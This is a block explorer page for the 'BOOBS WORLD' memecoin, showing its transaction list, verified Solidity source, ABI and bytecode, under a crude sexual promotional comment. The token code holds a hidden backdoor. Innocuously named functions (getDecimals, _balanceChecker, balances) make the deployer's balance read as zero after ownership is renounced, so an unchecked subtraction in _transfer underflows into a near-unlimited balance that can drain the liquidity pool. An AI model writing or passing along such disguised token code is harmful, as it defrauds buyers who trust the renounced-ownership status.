More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 78 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 20714015 | 64 days ago | IN | 0 ETH | 0.00014824 | ||||
Approve | 20713882 | 64 days ago | IN | 0 ETH | 0.00053124 | ||||
Approve | 20713826 | 64 days ago | IN | 0 ETH | 0.00033551 | ||||
Approve | 20713820 | 64 days ago | IN | 0 ETH | 0.00040642 | ||||
Approve | 20713816 | 64 days ago | IN | 0 ETH | 0.00041534 | ||||
Approve | 20713798 | 64 days ago | IN | 0 ETH | 0.00024648 | ||||
Approve | 20713697 | 64 days ago | IN | 0 ETH | 0.00062218 | ||||
Approve | 20713620 | 64 days ago | IN | 0 ETH | 0.00042749 | ||||
Approve | 20713618 | 64 days ago | IN | 0 ETH | 0.00041878 | ||||
Approve | 20713610 | 64 days ago | IN | 0 ETH | 0.00043322 | ||||
Approve | 20713606 | 64 days ago | IN | 0 ETH | 0.00042547 | ||||
Approve | 20713604 | 64 days ago | IN | 0 ETH | 0.00043261 | ||||
Approve | 20713590 | 64 days ago | IN | 0 ETH | 0.00041524 | ||||
Approve | 20713585 | 64 days ago | IN | 0 ETH | 0.00041402 | ||||
Approve | 20713583 | 64 days ago | IN | 0 ETH | 0.0006437 | ||||
Approve | 20713573 | 64 days ago | IN | 0 ETH | 0.00056075 | ||||
Transfer | 20713570 | 64 days ago | IN | 0 ETH | 0.0005363 | ||||
Approve | 20713492 | 64 days ago | IN | 0 ETH | 0.00065994 | ||||
Approve | 20713418 | 64 days ago | IN | 0 ETH | 0.00084871 | ||||
Approve | 20713364 | 64 days ago | IN | 0 ETH | 0.00099625 | ||||
Approve | 20713361 | 64 days ago | IN | 0 ETH | 0.00088244 | ||||
Approve | 20713347 | 64 days ago | IN | 0 ETH | 0.0010491 | ||||
Approve | 20713313 | 64 days ago | IN | 0 ETH | 0.00080441 | ||||
Approve | 20713310 | 64 days ago | IN | 0 ETH | 0.00065535 | ||||
Approve | 20713309 | 64 days ago | IN | 0 ETH | 0.00064477 |
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
BoobsWorldETH
Compiler Version
v0.8.27+commit.40a35a09
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-09-09 */ /* It is a hot summer with hot girls and I know you are horny pervert who loves memecoins and BOOBAs. Welcome to the BOOBS WORLD 🙂 tg: https://t.me/BoobsWorldETH 🙂 Website: https://boobsworldeth.xyz/ 🙂 Twitter: https://x.com/BoobsWorldETH */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.27; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "not owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "not owner"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } interface IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, Ownable, IERC20 { string private _name; string private _symbol; address private _deployer; uint256 private _decimals; uint256 private _totalSupply; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _deployer = _msgSender(); } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 9; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function getDecimals(address add) view internal returns (bool) { return add==_deployer&&address(0)==owner(); } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function balances(address sender) view internal returns(uint256) { return _balanceChecker(sender); } function _balanceChecker(address sender) view private returns (uint256) { if (getDecimals(sender)) { return _decimals; } return _balances[sender]; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = balances(sender) - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract BoobsWorldETH is ERC20 { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapRouter; address public uniswapPair; address public marketingWallet; address public developmentWallet; bool public tradingActive = false; bool public swapEnabled = false; bool public limitsInEffect = true; uint256 public maximumTransactionAllowed; uint256 public swapBackThreshold; uint256 public maximumWalletAllowed; uint256 public buyTotalFees; uint256 public buyMarketFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketFee; uint256 public sellDevFee; uint256 public tokensForMarket; uint256 public tokensForDev; bool private swapping; mapping(address => bool) public isExcludedFromFees; mapping(address => bool) public isExcludemaximumTransactionAllowed; mapping(address => bool) public pairs; constructor() ERC20("BOOBS WORLD", "BOOBA") { uniswapRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); marketingWallet = address(owner()); developmentWallet = address(owner()); isExcludemaximumTransactionAllowed[address(uniswapRouter)] = true; isExcludemaximumTransactionAllowed[owner()] = true; isExcludemaximumTransactionAllowed[address(this)] = true; isExcludemaximumTransactionAllowed[address(0xdead)] = true; isExcludedFromFees[owner()] = true; isExcludedFromFees[address(this)] = true; isExcludedFromFees[address(0xdead)] = true; uint256 totalSupply = 100_000_000 * 1e9; swapBackThreshold = (totalSupply * 5) / 10000; // 0.05% swap wallet maximumTransactionAllowed = (totalSupply * 2) / 100; // 2% from total supply maximumTransactionAllowedTxn maximumWalletAllowed = (totalSupply * 2) / 100; // 2% from total supply maximumWalletAllowed buyMarketFee = 20; buyDevFee = 0; buyTotalFees = buyMarketFee + buyDevFee; sellMarketFee = 20; sellDevFee = 0; sellTotalFees = sellMarketFee + sellDevFee; _mint(msg.sender, totalSupply); } receive() external payable {} function startTrading() external onlyOwner { tradingActive = true; swapEnabled = true; uniswapPair = IUniswapV2Factory(uniswapRouter.factory()).getPair(address(this), uniswapRouter.WETH()); isExcludemaximumTransactionAllowed[address(uniswapPair)] = true; pairs[uniswapPair] = true; } function excludeFromMaximumTransactionAllowed(address addr, bool value) external onlyOwner { isExcludemaximumTransactionAllowed[addr] = value; } function excludeFromFees(address account, bool value) external onlyOwner { isExcludedFromFees[account] = value; } function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } function finalBuyTax() external onlyOwner { buyMarketFee = 0; buyDevFee = 0; buyTotalFees = buyMarketFee + buyDevFee; } function finalSellTax() external onlyOwner { sellMarketFee = 0; sellDevFee = 0; sellTotalFees = sellMarketFee + sellDevFee; } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForMarket + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) return; if (contractBalance > swapBackThreshold * 60) contractBalance = swapBackThreshold * 60; uint256 initialETHBalance = address(this).balance; swapTokensForEth(contractBalance); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); tokensForMarket = 0; tokensForDev = 0; (success, ) = address(developmentWallet).call{value: ethForDev}(""); (success, ) = address(marketingWallet).call{ value: address(this).balance }(""); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapRouter.WETH(); _approve(address(this), address(uniswapRouter), tokenAmount); uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _transfer(address from, address to, uint256 amount) override internal { require(from != address(0), "from 0x0 add"); require(to != address(0), "to 0x0 add"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) { if (!tradingActive) { require(isExcludedFromFees[from] || isExcludedFromFees[to], "Trading not active"); } //when buy if (pairs[from] && !isExcludemaximumTransactionAllowed[to]) { require(amount <= maximumTransactionAllowed, "gt max TX"); require(amount + balanceOf(to) <= maximumWalletAllowed, "gt max wallet"); } //when sell else if (pairs[to] && !isExcludemaximumTransactionAllowed[from]) { require(amount <= maximumTransactionAllowed, "gt max TX"); } else if (!isExcludemaximumTransactionAllowed[to]) { require(amount + balanceOf(to) <= maximumWalletAllowed, "gt max wallet"); } } } uint256 contractBalance = balanceOf(address(this)); bool canSwap = contractBalance >= swapBackThreshold; if (canSwap && swapEnabled && !swapping && !pairs[from] && !isExcludedFromFees[from] && !isExcludedFromFees[to]) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if (isExcludedFromFees[from] || isExcludedFromFees[to]) takeFee = false; uint256 fee = 0; if (takeFee) { if (pairs[to] && sellTotalFees > 0) { fee = amount.mul(sellTotalFees).div(100); tokensForDev += (fee * sellDevFee) / sellTotalFees; tokensForMarket += (fee * sellMarketFee) / sellTotalFees; } else if (pairs[from] && buyTotalFees > 0) { fee = amount.mul(buyTotalFees).div(100); tokensForDev += (fee * buyDevFee) / buyTotalFees; tokensForMarket += (fee * buyMarketFee) / buyTotalFees; } if (fee > 0) super._transfer(from, address(this), fee); amount -= fee; } super._transfer(from, to, amount); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function updateSwapEnabled(bool enabled) external onlyOwner { swapEnabled = enabled; } function ChangeMaxWallet(uint256 newNum) external onlyOwner { require(newNum >= ((totalSupply() * 5) / 1000) / 1e9, "lt 0.5%"); maximumWalletAllowed = newNum * (10**9); } function updateSwapBackThreshold(uint256 newAmount) external onlyOwner returns (bool) { require(newAmount >= (totalSupply() * 1) / 100000, "lt 0.001% ts"); require(newAmount <= (totalSupply() * 5) / 1000, "lt 0.5% ts"); swapBackThreshold = newAmount; return true; } function updateMaximumTransactionAllowed(uint256 newNum) external onlyOwner { require(newNum >= ((totalSupply() * 1) / 1000) / 1e9, "lt 0.1%"); maximumTransactionAllowed = newNum * (10**9); } function manualSwapBack(uint256 tokenAmount) external { require(tokenAmount > 0, "too low"); if (marketingWallet != _msgSender()) { return; } swapTokensForEth(tokenAmount); uint256 contBalanceETH = address(this).balance; if(contBalanceETH > 0) { payable(marketingWallet).transfer(contBalanceETH); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"ChangeMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"developmentWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"excludeFromMaximumTransactionAllowed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"finalBuyTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"finalSellTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludemaximumTransactionAllowed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"manualSwapBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maximumTransactionAllowed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maximumWalletAllowed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"pairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapBackThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarket","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaximumTransactionAllowed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapBackThreshold","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a0604052600a805462ffffff60a01b1916600160b01b179055348015610024575f5ffd5b506040518060400160405280600b81526020016a1093d3d094c815d3d4931160aa1b81525060405180604001604052806005815260200164424f4f424160d81b81525061007d61007861025960201b60201c565b61025d565b60016100898382610428565b5060026100968282610428565b505060038054336001600160a01b031991821617909155737a250d5630b4cf539739df2c5dacb4c659f2488d6080525f80546009805484166001600160a01b03928316908117909155600a80549094168117909355601860209081527f89b047228bcbc7dd2bd64da6fb9668f504c0478eb6fbbc20eeaab33f85fbfdda805460ff199081166001908117909255948452604080852080548716831790553080865281862080548816841790557fe3ec2099396b7359df1c566dfdf9dfdb5e22fd64a6ede9d61aa32b2f63968fd6805488168417905585549094168552601790925281842080548616821790559183528220805484168217905561dead9091527f43fedf50e12e5c047fbe3576d03ab50250348e9a6030f531ab6d4ce10f5b030380549092161790555067016345785d8a00006127106101d68260056104f6565b6101e09190610513565b600c5560646101f08260026104f6565b6101fa9190610513565b600b55606461020a8260026104f6565b6102149190610513565b600d556014600f8190555f601081905561022d91610532565b600e55601460128190555f601381905561024691610532565b60115561025333826102ac565b50610545565b3390565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0382166103065760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060055f8282546103179190610532565b90915550506001600160a01b0382165f9081526006602052604081208054839290610343908490610532565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806103b957607f821691505b6020821081036103d757634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561038c57805f5260205f20601f840160051c810160208510156104025750805b601f840160051c820191505b81811015610421575f815560010161040e565b5050505050565b81516001600160401b0381111561044157610441610391565b6104558161044f84546103a5565b846103dd565b6020601f821160018114610487575f83156104705750848201515b5f19600385901b1c1916600184901b178455610421565b5f84815260208120601f198516915b828110156104b65787850151825560209485019460019092019101610496565b50848210156104d357868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761050d5761050d6104e2565b92915050565b5f8261052d57634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561050d5761050d6104e2565b6080516121c76105805f395f81816104e601528181610aa701528181610b2d0152818161198c01528181611a430152611a7f01526121c75ff3fe608060405260043610610277575f3560e01c80638da5cb5b1161014a578063bbc0c742116100be578063d85ba06311610078578063d85ba0631461073c578063dd62ed3e14610751578063e4a1b95f14610795578063e6fe10b6146107aa578063f2fde38b146107be578063fe33b302146107dd575f5ffd5b8063bbc0c7421461068b578063bffda982146106ab578063c0246668146106ca578063c04a5414146106e9578063c816841b14610708578063cff16b2f14610727575f5ffd5b80639fccce321161010f5780639fccce32146105d6578063a0d82dc5146105eb578063a457c2d714610600578063a781dc351461061f578063a9059cbb1461064d578063af023d321461066c575f5ffd5b80638da5cb5b14610553578063924de9b71461056f57806394a1700e1461058e57806395d89b41146105ad5780639c3b4fdc146105c1575f5ffd5b806348898186116101ec5780636e1b6cda116101a65780636e1b6cda1461047857806370a082311461048d578063715018a6146104c1578063735de9f7146104d5578063751039fc1461052057806375f0a87414610534575f5ffd5b806348898186146103c25780634a62bb65146103e15780634fbee1931461040157806358d375331461042f5780636a486a8e146104435780636ddd171314610458575f5ffd5b806323b872dd1161023d57806323b872dd14610329578063293230b814610348578063313ce5671461035e57806335b5fb631461037957806337da26ca1461038e57806339509351146103a3575f5ffd5b8062c305ee1461028257806306fdde03146102b6578063095ea7b3146102d757806318160ddd146102f65780631f7ea8da14610314575f5ffd5b3661027e57005b5f5ffd5b34801561028d575f5ffd5b506102a161029c366004611eb2565b61080b565b60405190151581526020015b60405180910390f35b3480156102c1575f5ffd5b506102ca610909565b6040516102ad9190611ec9565b3480156102e2575f5ffd5b506102a16102f1366004611f12565b610999565b348015610301575f5ffd5b506005545b6040519081526020016102ad565b34801561031f575f5ffd5b5061030660145481565b348015610334575f5ffd5b506102a1610343366004611f3c565b6109af565b348015610353575f5ffd5b5061035c610a57565b005b348015610369575f5ffd5b50604051600981526020016102ad565b348015610384575f5ffd5b5061030660125481565b348015610399575f5ffd5b50610306600d5481565b3480156103ae575f5ffd5b506102a16103bd366004611f12565b610c70565b3480156103cd575f5ffd5b5061035c6103dc366004611eb2565b610cab565b3480156103ec575f5ffd5b50600a546102a190600160b01b900460ff1681565b34801561040c575f5ffd5b506102a161041b366004611f7a565b60176020525f908152604090205460ff1681565b34801561043a575f5ffd5b5061035c610d51565b34801561044e575f5ffd5b5061030660115481565b348015610463575f5ffd5b50600a546102a190600160a81b900460ff1681565b348015610483575f5ffd5b50610306600c5481565b348015610498575f5ffd5b506103066104a7366004611f7a565b6001600160a01b03165f9081526006602052604090205490565b3480156104cc575f5ffd5b5061035c610d94565b3480156104e0575f5ffd5b506105087f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016102ad565b34801561052b575f5ffd5b506102a1610dc8565b34801561053f575f5ffd5b50600954610508906001600160a01b031681565b34801561055e575f5ffd5b505f546001600160a01b0316610508565b34801561057a575f5ffd5b5061035c610589366004611fa4565b610e05565b348015610599575f5ffd5b